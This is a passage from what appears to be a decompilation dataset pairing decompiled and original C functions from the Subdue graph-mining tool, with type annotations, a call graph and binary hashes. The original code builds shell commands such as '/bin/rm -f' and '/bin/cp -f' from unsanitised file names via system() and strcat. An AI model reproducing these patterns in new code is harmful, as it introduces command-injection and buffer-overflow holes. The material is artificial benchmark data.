labelIndex2)\n return 0.0;\n return 1.0;\n}", "canonical_original_code": "double LabelMatchFactor(unsigned long labelIndex1, unsigned long labelIndex2, struct LabelList *labelList)\n{\n if (labelIndex1 == labelIndex2)\n return 0.0;\n return 1.0;\n}", "variable_types": [ [ "labelIndex1", "unsigned long" ], [ "labelIndex2", "unsigned long" ], [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ] ], "return_type": "double", "user_defined_types": [ "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }" ], "binary_hash": "891a995b7c384550da2d7cbf396d30d0e409b7d073b28901a40a86046033e823" }, { "name": "PrintLabel", "canonical_name": "func5", "repo": "gromgull/subdue", "decompiled_code": "int __fastcall PrintLabel(__int64 a1, __int64 a2)\n{\nint result; // eax\nunsigned __int8 v3; // [rsp+1Fh] [rbp-1h]\n\nv3 = *(_BYTE *)(*(_QWORD *)(a2 + 16) + 24 * a1);\nresult = v3;\nif ( !v3 )\nreturn fputs(*(const char **)(*(_QWORD *)(a2 + 16) + 24 * a1 + 8), stdout);\nif ( v3 == 1 )\nresult = fprintf(stdout, \"%.*g\", 6, *(double *)(*(_QWORD *)(a2 + 16) + 24 * a1 + 8));\nreturn result;\n}\n", "canonical_decompiled_code": "int __fastcall func5(__int64 a1, __int64 a2)\n{\nint result; // eax\nunsigned __int8 v3; // [rsp+1Fh] [rbp-1h]\n\nv3 = *(_BYTE *)(*(_QWORD *)(a2 + 16) + 24 * a1);\nresult = v3;\nif ( !v3 )\nreturn fputs(*(const char **)(*(_QWORD *)(a2 + 16) + 24 * a1 + 8), stdout);\nif ( v3 == 1 )\nresult = fprintf(stdout, \"%.*g\", 6, *(double *)(*(_QWORD *)(a2 + 16) + 24 * a1 + 8));\nreturn result;\n}", "original_code": "void PrintLabel(ULONG index, LabelList *labelList)\n{\n UCHAR labelType;\n labelType = labelList->labels[index].labelType;\n switch(labelType)\n {\n case 0:\n fprintf(stdout, \"%s\", labelList->labels[index].labelValue.stringLabel);\n break;\n case 1:\n fprintf(stdout, \"%.*g\", 6,\n labelList->labels[index].labelValue.numericLabel);\n break;\n default:\n break;\n }\n}", "canonical_original_code": "void PrintLabel(unsigned long index, struct LabelList *labelList)\n{\n unsigned char labelType;\n labelType = labelList->labels[index].labelType;\n switch(labelType)\n {\n case 0:\n fprintf(stdout, \"%s\", labelList->labels[index].labelValue.stringLabel);\n break;\n case 1:\n fprintf(stdout, \"%.*g\", 6,\n labelList->labels[index].labelValue.numericLabel);\n break;\n default:\n break;\n }\n}", "variable_types": [ [ "index", "unsigned long" ], [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ], [ "labelType", "unsigned char" ] ], "return_type": "void", "user_defined_types": [ "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }" ], "binary_hash": "891a995b7c384550da2d7cbf396d30d0e409b7d073b28901a40a86046033e823" }, { "name": "PrintLabelList", "canonical_name": "func6", "repo": "gromgull/subdue", "decompiled_code": "unsigned __int64 __fastcall PrintLabelList(__int64 a1)\n{\nunsigned __int64 result; // rax\nunsigned __int64 i; // [rsp+18h] [rbp-8h]\n\nputs(\"Label list:\");\nfor ( i = 0LL; ; ++i )\n{\nresult = *(_QWORD *)(a1 + 8);\nif ( i >= result )\nbreak;\nprintf(\" labels[%lu] = \", i);\nPrintLabel(i, a1);\nputchar(10);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func6(__int64 a1)\n{\nunsigned __int64 result; // rax\nunsigned __int64 i; // [rsp+18h] [rbp-8h]\n\nputs(\"Label list:\");\nfor ( i = 0LL; ; ++i )\n{\nresult = *(_QWORD *)(a1 + 8);\nif ( i >= result )\nbreak;\nprintf(\" labels[%lu] = \", i);\nfunc5(i, a1);\nputchar(10);\n}\nreturn result;\n}", "original_code": "void PrintLabelList(LabelList *labelList)\n{\n ULONG i;\n printf(\"Label list:\\n\");\n for (i = 0; i < labelList->numLabels; i++)\n {\n printf(\" labels[%lu] = \", i);\n PrintLabel(i, labelList);\n printf(\"\\n\");\n }\n}", "canonical_original_code": "void PrintLabelList(struct LabelList *labelList)\n{\n unsigned long i;\n printf(\"Label list:\\n\");\n for (i = 0; i < labelList->numLabels; i++)\n {\n printf(\" labels[%lu] = \", i);\n PrintLabel(i, labelList);\n printf(\"\\n\");\n }\n}", "variable_types": [ [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ], [ "i", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }" ], "binary_hash": "891a995b7c384550da2d7cbf396d30d0e409b7d073b28901a40a86046033e823" }, { "name": "FreeLabelList", "canonical_name": "func7", "repo": "gromgull/subdue", "decompiled_code": "void __fastcall FreeLabelList(void **a1)\n{\nfree(a1[2]);\nfree(a1);\n}\n", "canonical_decompiled_code": "void __fastcall func7(void **a1)\n{\nfree(a1[2]);\nfree(a1);\n}", "original_code": "void FreeLabelList(LabelList *labelList)\n{\n free(labelList->labels);\n free(labelList);\n}", "canonical_original_code": "void FreeLabelList(struct LabelList *labelList)\n{\n free(labelList->labels);\n free(labelList);\n}", "variable_types": [ [ "labelList", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *" ] ], "return_type": "void", "user_defined_types": [ "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }" ], "binary_hash": "891a995b7c384550da2d7cbf396d30d0e409b7d073b28901a40a86046033e823" } ]
d826d5acd4fb5af275ad9b0597a27671b8e9edb7a148a096ccf9e27cbbb9f3ca
gromgull/subdue
[ [ "main", "->", "WriteTrainTestFiles", "RunSubdue", "RemoveFile" ], [ "WriteTrainTestFiles", "->", "main" ], [ "RunSubdue", "->", "main" ], [ "RemoveFile", "->", "main" ] ]
[ [ "WriteTrainTestFiles", "int __fastcall func0(const char *a1, const char *a2, const char *a3, __int64 a4, __int64 a5, unsigned __int64 a6, __int64 a7)\n{\nint result; // eax\n__int64 v12; // [rsp+38h] [rbp-238h] BYREF\nchar s[256]; // [rsp+40h] [rbp-230h] BYREF\nchar s1[256]; // [rsp+140h] [rbp-130h] BYREF\nFILE *v15; // [rsp+240h] [rbp-30h]\nFILE *v16; // [rsp+248h] [rbp-28h]\nFILE *v17; // [rsp+250h] [rbp-20h]\nchar v18; // [rsp+25Eh] [rbp-12h]\nchar v19; // [rsp+25Fh] [rbp-11h]\nunsigned __int64 i; // [rsp+260h] [rbp-10h]\nFILE *stream; // [rsp+268h] [rbp-8h]\n\nv12 = 1LL;\nv19 = 0;\nv18 = 0;\nif ( a7 == 1 )\n{\nsprintf(s, \"%s %s %s\", \"/bin/cp -f\", a1, a2);\nsystem(s);\nsprintf(s, \"%s %s %s\", \"/bin/cp -f\", a1, a3);\nresult = system(s);\n}\nelse\n{\nv17 = fopen(a1, \"r\");\nif ( !v17 )\n{\nprintf(\"Unable to open input file %s.\\n\", a1);\nexit(1);\n}\nif ( !(unsigned int)ReadToken(s1, v17, &v12) )\n{\nfprintf(stderr, \"No examples in input file %s.\\n\", a1);\nexit(1);\n}\nif ( !strcmp(s1, \"XN\") )\nv18 = 1;\nif ( !strcmp(s1, \"XP\") )\nv19 = 1;\nv16 = fopen(a2, \"w\");\nif ( !v16 )\n{\nprintf(\"Unable to open train file %s.\\n\", a2);\nexit(1);\n}\nv15 = fopen(a3, \"w\");\nif ( !v15 )\n{\nprintf(\"Unable to open test file %s.\\n\", a3);\nexit(1);\n}\nfor ( i = 0LL; i < a6; ++i )\n{\nif ( a4 == *(_QWORD *)(8 * i + a5) )\nstream = v15;\nelse\nstream = v16;\nif ( v18 == 1 )\n{\nfprintf(stream, \"%s\\n\", \"XN\");\nv18 = 0;\n}\nelse\n{\nfprintf(stream, \"%s\\n\", \"XP\");\nv19 = 0;\n}\nwhile ( !v19 && !v18 && fgets(s1, 256, v17) )\n{\nif ( strstr(s1, \"XP\") == s1 )\n{\nv19 = 1;\n}\nelse if ( strstr(s1, \"XN\") == s1 )\n{\nv18 = 1;\n}\nelse if ( s1[0] != 37 )\n{\nfputs(s1, stream);\n}\n}\n}\nfclose(v15);\nfclose(v16);\nresult = fclose(v17);\n}\nreturn result;\n}" ] ]
[ { "name": "RunSubdue", "canonical_name": "func1", "repo": "gromgull/subdue", "decompiled_code": "int __fastcall RunSubdue(int a1, __int64 a2, const char *a3, const char *a4)\n{\nint result; // eax\nchar s[264]; // [rsp+20h] [rbp-110h] BYREF\nint v8; // [rsp+128h] [rbp-8h]\nint i; // [rsp+12Ch] [rbp-4h]\n\nstrcpy(s, \"subdue\");\nfor ( i = 1; i < a1; ++i )\n{\n*(_WORD *)&s[strlen(s)] = 32;\nstrcat(s, *(const char **)(8LL * i + a2));\n}\nstrcat(s, \" -out \");\nstrcat(s, a4);\n*(_WORD *)&s[strlen(s)] = 32;\nstrcat(s, a3);\nresult = system(s);\nv8 = result;\nif ( result )\n{\nfprintf(stderr, \"ERROR: unable to run command: %s\\n\", s);\nexit(1);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "int __fastcall func1(int a1, __int64 a2, const char *a3, const char *a4)\n{\nint result; // eax\nchar s[264]; // [rsp+20h] [rbp-110h] BYREF\nint v8; // [rsp+128h] [rbp-8h]\nint i; // [rsp+12Ch] [rbp-4h]\n\nstrcpy(s, \"subdue\");\nfor ( i = 1; i < a1; ++i )\n{\n*(_WORD *)&s[strlen(s)] = 32;\nstrcat(s, *(const char **)(8LL * i + a2));\n}\nstrcat(s, \" -out \");\nstrcat(s, a4);\n*(_WORD *)&s[strlen(s)] = 32;\nstrcat(s, a3);\nresult = system(s);\nv8 = result;\nif ( result )\n{\nfprintf(stderr, \"ERROR: unable to run command: %s\\n\", s);\nexit(1);\n}\nreturn result;\n}", "original_code": "void RunSubdue(int argc, char **argv, char *trainFileName,\n char *subsFileName)\n{\n char command[256];\n int i;\n int status;\n strcpy(command, \"subdue\");\n for (i = 1; i < argc; i++)\n {\n strcat(command, \" \");\n strcat(command, argv[i]);\n }\n strcat(command, \" -out \");\n strcat(command, subsFileName);\n strcat(command, \" \");\n strcat(command, trainFileName);\n status = system(command);\n if (status != 0)\n {\n fprintf(stderr, \"ERROR: unable to run command: %s\\n\",command);\n exit (1);\n }\n}", "canonical_original_code": "void RunSubdue(int argc, char **argv, char *trainFileName, char *subsFileName)\n{\n char command[256];\n int i;\n int status;\n strcpy(command, \"subdue\");\n for (i = 1; i < argc; i++)\n {\n strcat(command, \" \");\n strcat(command, argv[i]);\n }\n strcat(command, \" -out \");\n strcat(command, subsFileName);\n strcat(command, \" \");\n strcat(command, trainFileName);\n status = system(command);\n if (status != 0)\n {\n fprintf(stderr, \"ERROR: unable to run command: %s\\n\",command);\n exit (1);\n }\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char **" ], [ "trainFileName", "char *" ], [ "subsFileName", "char *" ], [ "command", "char [256]" ], [ "i", "int" ], [ "status", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "d826d5acd4fb5af275ad9b0597a27671b8e9edb7a148a096ccf9e27cbbb9f3ca" }, { "name": "RemoveFile", "canonical_name": "func2", "repo": "gromgull/subdue", "decompiled_code": "int __fastcall RemoveFile(const char *a1)\n{\nchar s[256]; // [rsp+10h] [rbp-100h] BYREF\n\nsprintf(s, \"%s %s\", \"/bin/rm -f\", a1);\nreturn system(s);\n}\n", "canonical_decompiled_code": "int __fastcall func2(const char *a1)\n{\nchar s[256]; // [rsp+10h] [rbp-100h] BYREF\n\nsprintf(s, \"%s %s\", \"/bin/rm -f\", a1);\nreturn system(s);\n}", "original_code": "void RemoveFile(char *fileName)\n{\n char command[256];\n sprintf(command, \"%s %s\", \"/bin/rm -f\", fileName);\n system(command);\n}", "canonical_original_code": "void RemoveFile(char *fileName)\n{\n char command[256];\n sprintf(command, \"%s %s\", \"/bin/rm -f\", fileName);\n system(command);\n}", "variable_types": [ [ "fileName", "char *" ], [ "command", "char [256]" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "d826d5acd4fb5af275ad9b0597a27671b8e9edb7a148a096ccf9e27cbbb9f3ca" }, { "name": "main", "canonical_name": "main", "repo": "gromgull/subdue", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nunsigned __int64 v3; // rax\ndouble v4; // xmm0_8\n__int64 v5; // rax\ndouble v6; // xmm1_8\nfloat v7; // xmm0_4\nfloat v8; // xmm0_4\nunsigned int v10; // [rsp+Ch] [rbp-494h]\n__int64 v11; // [rsp+10h] [rbp-490h] BYREF\n__int64 v12; // [rsp+18h] [rbp-488h] BYREF\n__int64 v13; // [rsp+20h] [rbp-480h] BYREF\n__int64 v14; // [rsp+28h] [rbp-478h] BYREF\n__int64 v15; // [rsp+30h] [rbp-470h] BYREF\n__int64 v16; // [rsp+38h] [rbp-468h] BYREF\nchar v17[256]; // [rsp+40h] [rbp-460h] BYREF\nchar v18[256]; // [rsp+140h] [rbp-360h] BYREF\nchar s[256]; // [rsp+240h] [rbp-260h] BYREF\nchar dest[268]; // [rsp+340h] [rbp-160h] BYREF\nfloat v21; // [rsp+44Ch] [rbp-54h]\n_QWORD *v22; // [rsp+450h] [rbp-50h]\nunsigned __int64 v23; // [rsp+458h] [rbp-48h]\nvoid *ptr; // [rsp+460h] [rbp-40h]\nunsigned __int64 i; // [rsp+468h] [rbp-38h]\n__int64 v26; // [rsp+470h] [rbp-30h]\n__int64 v27; // [rsp+478h] [rbp-28h]\n__int64 v28; // [rsp+480h] [rbp-20h]\n__int64 v29; // [rsp+488h] [rbp-18h]\nfloat v30; // [rsp+494h] [rbp-Ch]\nunsigned __int64 v31; // [rsp+498h] [rbp-8h]\n\nv30 = 0.0;\nv29 = 0LL;\nv28 = 0LL;\nv27 = 0LL;\nv26 = 0LL;\nptr = malloc(0x6F8uLL);\nif ( !ptr )\nOutOfMemoryError(\"GetParameters:parameters\");\n*((_BYTE *)ptr + 1626) = 1;\n*((_QWORD *)ptr + 200) = AllocateLabelList();\nv31 = 1LL;\nstrcpy(dest, argv[argc - 1]);\nv10 = argc - 1;\nif ( argc - 1 > 1 && !strcmp(\"-nfolds\", argv[(int)v10 - 2]) )\n{\nv31 = atol(argv[(int)v10 - 1]);\nif ( !v31 )\n{\nfwrite(\"-nfolds must be greater than one\\n\", 1uLL, 0x21uLL, stderr);\nexit(1);\n}\nv10 = argc - 3;\n}\nfwrite(\"Subdue Cross-Validation Testing\\n\", 1uLL, 0x20uLL, stdout);\nfprintf(stdout, \"Number of Folds = %lu\\n\\n\", v31);\nNumPosNegExamples(dest, &v16, &v15);\nfprintf(stdout, \"Read %lu positive and %lu negative examples.\\n\", v16, v15);\nv23 = v16 + v15;\nv22 = malloc(8 * (v16 + v15));\nif ( !v22 )\nOutOfMemoryError(\"cvtest main: fold array\");\nfor ( i = 0LL; i < v23; ++i )\nv22[i] = random() % v31 + 1;\nfor ( i = 0LL; i < v31; ++i )\n{\nfprintf(stdout, \"----------\\nFold %lu\\n----------\\n\", i + 1);\nfflush(stdout);\nsprintf(s, \"%s.train.%lu\", dest, i + 1);\nsprintf(v18, \"%s.test.%lu\", dest, i + 1);\nsprintf(v17, \"%s.subs.%lu\", dest, i + 1);\nWriteTrainTestFiles((unsigned int)dest, (unsigned int)s, (unsigned int)v18, i + 1, (_DWORD)v22, v23, v31);\nRunSubdue(v10, argv, s, v17);\nTest(v17, v18, ptr, &v14, &v13, &v12, &v11);\nv3 = v12 + v11;\nif ( v12 + v11 < 0 )\nv4 = (double)(int)(v3 & 1 | (v3 >> 1)) + (double)(int)(v3 & 1 | (v3 >> 1));\nelse\nv4 = (double)(int)v3;\nv5 = v12 + v13 + v14 + v11;\nif ( v5 < 0 )\nv6 = (double)(int)(v5 & 1 | ((unsigned __int64)v5 >> 1)) + (double)(int)(v5 & 1 | ((unsigned __int64)v5 >> 1));\nelse\nv6 = (double)(int)v5;\nv7 = v4 / v6;\nv21 = v7;\nv30 = v30 + v7;\nv29 += v14;\nv28 += v13;\nv27 += v12;\nv26 += v11;\nfprintf(stdout, \"Fold %lu error = %f\\n\", i + 1, v7);\nfprintf(stdout, \" TP = %lu\\n\", v14);\nfprintf(stdout, \" TN = %lu\\n\", v13);\nfprintf(stdout, \" FP = %lu\\n\", v12);\nfprintf(stdout, \" FN = %lu\\n\\n\", v11);\nRemoveFile(s);\nRemoveFile(v18);\nRemoveFile(v17);\n}\nif ( (v31 & 0x8000000000000000LL) != 0LL )\nv8 = (float)(int)(v31 & 1 | (v31 >> 1)) + (float)(int)(v31 & 1 | (v31 >> 1));\nelse\nv8 = (float)(int)v31;\nv30 = v30 / v8;\nfprintf(stdout, \"%lu-fold cross validation error = %f\\n\", v31, v30);\nfprintf(stdout, \" total TP = %lu\\n\", v29);\nfprintf(stdout, \" total TN = %lu\\n\", v28);\nfprintf(stdout, \" total FP = %lu\\n\", v27);\nfprintf(stdout, \" total FN = %lu\\n\", v26);\nfflush(stdout);\nFreeLabelList(*((_QWORD *)ptr + 200));\nfree(ptr);\nreturn 0;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nunsigned __int64 v3; // rax\ndouble v4; // xmm0_8\n__int64 v5; // rax\ndouble v6; // xmm1_8\nfloat v7; // xmm0_4\nfloat v8; // xmm0_4\nunsigned int v10; // [rsp+Ch] [rbp-494h]\n__int64 v11; // [rsp+10h] [rbp-490h] BYREF\n__int64 v12; // [rsp+18h] [rbp-488h] BYREF\n__int64 v13; // [rsp+20h] [rbp-480h] BYREF\n__int64 v14; // [rsp+28h] [rbp-478h] BYREF\n__int64 v15; // [rsp+30h] [rbp-470h] BYREF\n__int64 v16; // [rsp+38h] [rbp-468h] BYREF\nchar v17[256]; // [rsp+40h] [rbp-460h] BYREF\nchar v18[256]; // [rsp+140h] [rbp-360h] BYREF\nchar s[256]; // [rsp+240h] [rbp-260h] BYREF\nchar dest[268]; // [rsp+340h] [rbp-160h] BYREF\nfloat v21; // [rsp+44Ch] [rbp-54h]\n_QWORD *v22; // [rsp+450h] [rbp-50h]\nunsigned __int64 v23; // [rsp+458h] [rbp-48h]\nvoid *ptr; // [rsp+460h] [rbp-40h]\nunsigned __int64 i; // [rsp+468h] [rbp-38h]\n__int64 v26; // [rsp+470h] [rbp-30h]\n__int64 v27; // [rsp+478h] [rbp-28h]\n__int64 v28; // [rsp+480h] [rbp-20h]\n__int64 v29; // [rsp+488h] [rbp-18h]\nfloat v30; // [rsp+494h] [rbp-Ch]\nunsigned __int64 v31; // [rsp+498h] [rbp-8h]\n\nv30 = 0.0;\nv29 = 0LL;\nv28 = 0LL;\nv27 = 0LL;\nv26 = 0LL;\nptr = malloc(0x6F8uLL);\nif ( !ptr )\nOutOfMemoryError(\"GetParameters:parameters\");\n*((_BYTE *)ptr + 1626) = 1;\n*((_QWORD *)ptr + 200) = AllocateLabelList();\nv31 = 1LL;\nstrcpy(dest, argv[argc - 1]);\nv10 = argc - 1;\nif ( argc - 1 > 1 && !strcmp(\"-nfolds\", argv[(int)v10 - 2]) )\n{\nv31 = atol(argv[(int)v10 - 1]);\nif ( !v31 )\n{\nfwrite(\"-nfolds must be greater than one\\n\", 1uLL, 0x21uLL, stderr);\nexit(1);\n}\nv10 = argc - 3;\n}\nfwrite(\"Subdue Cross-Validation Testing\\n\", 1uLL, 0x20uLL, stdout);\nfprintf(stdout, \"Number of Folds = %lu\\n\\n\", v31);\nNumPosNegExamples(dest, &v16, &v15);\nfprintf(stdout, \"Read %lu positive and %lu negative examples.\\n\", v16, v15);\nv23 = v16 + v15;\nv22 = malloc(8 * (v16 + v15));\nif ( !v22 )\nOutOfMemoryError(\"cvtest main: fold array\");\nfor ( i = 0LL; i < v23; ++i )\nv22[i] = random() % v31 + 1;\nfor ( i = 0LL; i < v31; ++i )\n{\nfprintf(stdout, \"----------\\nFold %lu\\n----------\\n\", i + 1);\nfflush(stdout);\nsprintf(s, \"%s.train.%lu\", dest, i + 1);\nsprintf(v18, \"%s.test.%lu\", dest, i + 1);\nsprintf(v17, \"%s.subs.%lu\", dest, i + 1);\nfunc0((unsigned int)dest, (unsigned int)s, (unsigned int)v18, i + 1, (_DWORD)v22, v23, v31);\nfunc1(v10, argv, s, v17);\nTest(v17, v18, ptr, &v14, &v13, &v12, &v11);\nv3 = v12 + v11;\nif ( v12 + v11 < 0 )\nv4 = (double)(int)(v3 & 1 | (v3 >> 1)) + (double)(int)(v3 & 1 | (v3 >> 1));\nelse\nv4 = (double)(int)v3;\nv5 = v12 + v13 + v14 + v11;\nif ( v5 < 0 )\nv6 = (double)(int)(v5 & 1 | ((unsigned __int64)v5 >> 1)) + (double)(int)(v5 & 1 | ((unsigned __int64)v5 >> 1));\nelse\nv6 = (double)(int)v5;\nv7 = v4 / v6;\nv21 = v7;\nv30 = v30 + v7;\nv29 += v14;\nv28 += v13;\nv27 += v12;\nv26 += v11;\nfprintf(stdout, \"Fold %lu error = %f\\n\", i + 1, v7);\nfprintf(stdout, \" TP = %lu\\n\", v14);\nfprintf(stdout, \" TN = %lu\\n\", v13);\nfprintf(stdout, \" FP = %lu\\n\", v12);\nfprintf(stdout, \" FN = %lu\\n\\n\", v11);\nfunc2(s);\nfunc2(v18);\nfunc2(v17);\n}\nif ( (v31 & 0x8000000000000000LL) != 0LL )\nv8 = (float)(int)(v31 & 1 | (v31 >> 1)) + (float)(int)(v31 & 1 | (v31 >> 1));\nelse\nv8 = (float)(int)v31;\nv30 = v30 / v8;\nfprintf(stdout, \"%lu-fold cross validation error = %f\\n\", v31, v30);\nfprintf(stdout, \" total TP = %lu\\n\", v29);\nfprintf(stdout, \" total TN = %lu\\n\", v28);\nfprintf(stdout, \" total FP = %lu\\n\", v27);\nfprintf(stdout, \" total FN = %lu\\n\", v26);\nfflush(stdout);\nFreeLabelList(*((_QWORD *)ptr + 200));\nfree(ptr);\nreturn 0;\n}", "original_code": "int main(int argc, char **argv)\n{\n Parameters *parameters;\n char inputFileName[256];\n char trainFileName[256];\n char testFileName[256];\n char subsFileName[256];\n ULONG numPosEgs;\n ULONG numNegEgs;\n ULONG numEgs;\n ULONG numFolds;\n ULONG *egFolds;\n float error;\n float meanError = 0.0;\n ULONG TP, TN, FP, FN;\n ULONG totalTP = 0, totalTN = 0, totalFP = 0, totalFN = 0;\n ULONG i;\n parameters = (Parameters *) malloc(sizeof(Parameters));\n if (parameters == ((void *)0))\n OutOfMemoryError(\"GetParameters:parameters\");\n parameters->directed = 1;\n parameters->labelList = AllocateLabelList();\n numFolds = 1;\n strcpy(inputFileName, argv[argc - 1]);\n argc--;\n if ((argc > 1) && (strcmp (\"-nfolds\", argv[argc - 2]) == 0))\n {\n numFolds = atol(argv[argc - 1]);\n if (numFolds < 1)\n {\n fprintf(stderr, \"-nfolds must be greater than one\\n\");\n exit (1);\n }\n argc -= 2;\n }\n fprintf(stdout, \"Subdue Cross-Validation Testing\\n\");\n fprintf(stdout, \"Number of Folds = %lu\\n\\n\", numFolds);\n NumPosNegExamples(inputFileName, &numPosEgs, &numNegEgs);\n fprintf(stdout, \"Read %lu positive and %lu negative examples.\\n\",\n numPosEgs, numNegEgs);\n numEgs = numPosEgs + numNegEgs;\n egFolds = (ULONG *) malloc(sizeof(ULONG) * numEgs);\n if (egFolds == ((void *)0))\n OutOfMemoryError(\"cvtest main: fold array\");\n for (i = 0; i < numEgs; i++)\n egFolds[i] = (random() % numFolds) + 1;\n for (i = 0; i < numFolds; i++)\n {\n fprintf (stdout, \"----------\\nFold %lu\\n----------\\n\", (i+1));\n fflush (stdout);\n sprintf (trainFileName, \"%s.train.%lu\", inputFileName, (i+1));\n sprintf (testFileName, \"%s.test.%lu\", inputFileName, (i+1));\n sprintf (subsFileName, \"%s.subs.%lu\", inputFileName, (i+1));\n WriteTrainTestFiles(inputFileName, trainFileName, testFileName,\n (i+1), egFolds, numEgs, numFolds);\n RunSubdue(argc, argv, trainFileName, subsFileName);\n Test(subsFileName, testFileName, parameters,\n &TP, &TN, &FP, &FN);\n error = ((double) (FP+FN)) / ((double) (TP+TN+FP+FN));\n meanError += error;\n totalTP += TP;\n totalTN += TN;\n totalFP += FP;\n totalFN += FN;\n fprintf(stdout, \"Fold %lu error = %f\\n\", (i+1), error);\n fprintf(stdout, \" TP = %lu\\n\", TP);\n fprintf(stdout, \" TN = %lu\\n\", TN);\n fprintf(stdout, \" FP = %lu\\n\", FP);\n fprintf(stdout, \" FN = %lu\\n\\n\", FN);\n RemoveFile(trainFileName);\n RemoveFile(testFileName);\n RemoveFile(subsFileName);\n }\n meanError = meanError / numFolds;\n fprintf(stdout, \"%lu-fold cross validation error = %f\\n\",\n numFolds, meanError);\n fprintf(stdout, \" total TP = %lu\\n\", totalTP);\n fprintf(stdout, \" total TN = %lu\\n\", totalTN);\n fprintf(stdout, \" total FP = %lu\\n\", totalFP);\n fprintf(stdout, \" total FN = %lu\\n\", totalFN);\n fflush(stdout);\n FreeLabelList(parameters->labelList);\n free(parameters);\n return 0;\n}", "canonical_original_code": "int main(int argc, char **argv)\n{\n struct Parameters *parameters;\n char inputFileName[256];\n char trainFileName[256];\n char testFileName[256];\n char subsFileName[256];\n unsigned long numPosEgs;\n unsigned long numNegEgs;\n unsigned long numEgs;\n unsigned long numFolds;\n unsigned long *egFolds;\n float error;\n float meanError = 0.0;\n unsigned long TP; unsigned long TN; unsigned long FP; unsigned long FN;\n unsigned long totalTP = 0; unsigned long totalTN = 0; unsigned long totalFP = 0; unsigned long totalFN = 0;\n unsigned long i;\n parameters = (struct Parameters *) malloc(sizeof(Parameters));\n if (parameters == ((void *)0))\n OutOfMemoryError(\"GetParameters:parameters\");\n parameters->directed = 1;\n parameters->labelList = AllocateLabelList();\n numFolds = 1;\n strcpy(inputFileName, argv[argc - 1]);\n argc--;\n if ((argc > 1) && (strcmp (\"-nfolds\", argv[argc - 2]) == 0))\n {\n numFolds = atol(argv[argc - 1]);\n if (numFolds < 1)\n {\n fprintf(stderr, \"-nfolds must be greater than one\\n\");\n exit (1);\n }\n argc -= 2;\n }\n fprintf(stdout, \"Subdue Cross-Validation Testing\\n\");\n fprintf(stdout, \"Number of Folds = %lu\\n\\n\", numFolds);\n NumPosNegExamples(inputFileName, &numPosEgs, &numNegEgs);\n fprintf(stdout, \"Read %lu positive and %lu negative examples.\\n\",\n numPosEgs, numNegEgs);\n numEgs = numPosEgs + numNegEgs;\n egFolds = (unsigned long *) malloc(sizeof(ULONG) * numEgs);\n if (egFolds == ((void *)0))\n OutOfMemoryError(\"cvtest main: fold array\");\n for (i = 0; i < numEgs; i++)\n egFolds[i] = (random() % numFolds) + 1;\n for (i = 0; i < numFolds; i++)\n {\n fprintf (stdout, \"----------\\nFold %lu\\n----------\\n\", (i+1));\n fflush (stdout);\n sprintf (trainFileName, \"%s.train.%lu\", inputFileName, (i+1));\n sprintf (testFileName, \"%s.test.%lu\", inputFileName, (i+1));\n sprintf (subsFileName, \"%s.subs.%lu\", inputFileName, (i+1));\n WriteTrainTestFiles(inputFileName, trainFileName, testFileName,\n (i+1), egFolds, numEgs, numFolds);\n RunSubdue(argc, argv, trainFileName, subsFileName);\n Test(subsFileName, testFileName, parameters,\n &TP, &TN, &FP, &FN);\n error = ((double) (FP+FN)) / ((double) (TP+TN+FP+FN));\n meanError += error;\n totalTP += TP;\n totalTN += TN;\n totalFP += FP;\n totalFN += FN;\n fprintf(stdout, \"Fold %lu error = %f\\n\", (i+1), error);\n fprintf(stdout, \" TP = %lu\\n\", TP);\n fprintf(stdout, \" TN = %lu\\n\", TN);\n fprintf(stdout, \" FP = %lu\\n\", FP);\n fprintf(stdout, \" FN = %lu\\n\\n\", FN);\n RemoveFile(trainFileName);\n RemoveFile(testFileName);\n RemoveFile(subsFileName);\n }\n meanError = meanError / numFolds;\n fprintf(stdout, \"%lu-fold cross validation error = %f\\n\",\n numFolds, meanError);\n fprintf(stdout, \" total TP = %lu\\n\", totalTP);\n fprintf(stdout, \" total TN = %lu\\n\", totalTN);\n fprintf(stdout, \" total FP = %lu\\n\", totalFP);\n fprintf(stdout, \" total FN = %lu\\n\", totalFN);\n fflush(stdout);\n FreeLabelList(parameters->labelList);\n free(parameters);\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char **" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char 